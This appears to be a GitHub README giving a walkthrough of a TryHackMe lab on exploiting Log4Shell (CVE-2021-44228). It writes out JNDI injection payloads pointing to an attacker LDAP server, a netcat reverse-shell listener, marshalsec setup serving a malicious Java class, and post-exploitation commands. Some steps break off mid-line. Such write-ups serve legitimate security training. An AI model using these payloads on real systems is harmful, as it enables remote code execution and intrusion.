lavanya2085/solar-exploiting-log4jThis repository provides a detailed walkthrough of the *Solar Exploiting Log4j room* on TryHackMe, focusing on exploiting the critical Log4Shell vulnerability (CVE-2021-44228). The project demonstrates how attackers can leverage insecure logging mechanisms in Java applications to achieve remote code execution.
Platform: TryHackMe Difficulty: Medium Topic: Log4Shell (Log4j Vulnerability)
Exploit the Log4j vulnerability (CVE-2021-44228) to gain remote code execution and capture flags.
nmap -sC -sV <TARGET_IP>
Log4j vulnerability allows JNDI injection:
${jndi:ldap://<ATTACKER_IP>:1389/a}
If input is logged → vulnerability exists.
nc -lvnp 4444
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package
Run LDAP server:
java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389
python3 -m http.server 8000
Create malicious Java class (Exploit.class)
Inject payload into vulnerable field:
${jndi:ldap://<ATTACKER_IP>:1389/Exploit}
💡 Use headers like:
Once triggered:
Check:
sudo -l
Look for:
find / -name flag.txt 2>/dev/null
cat flag.txt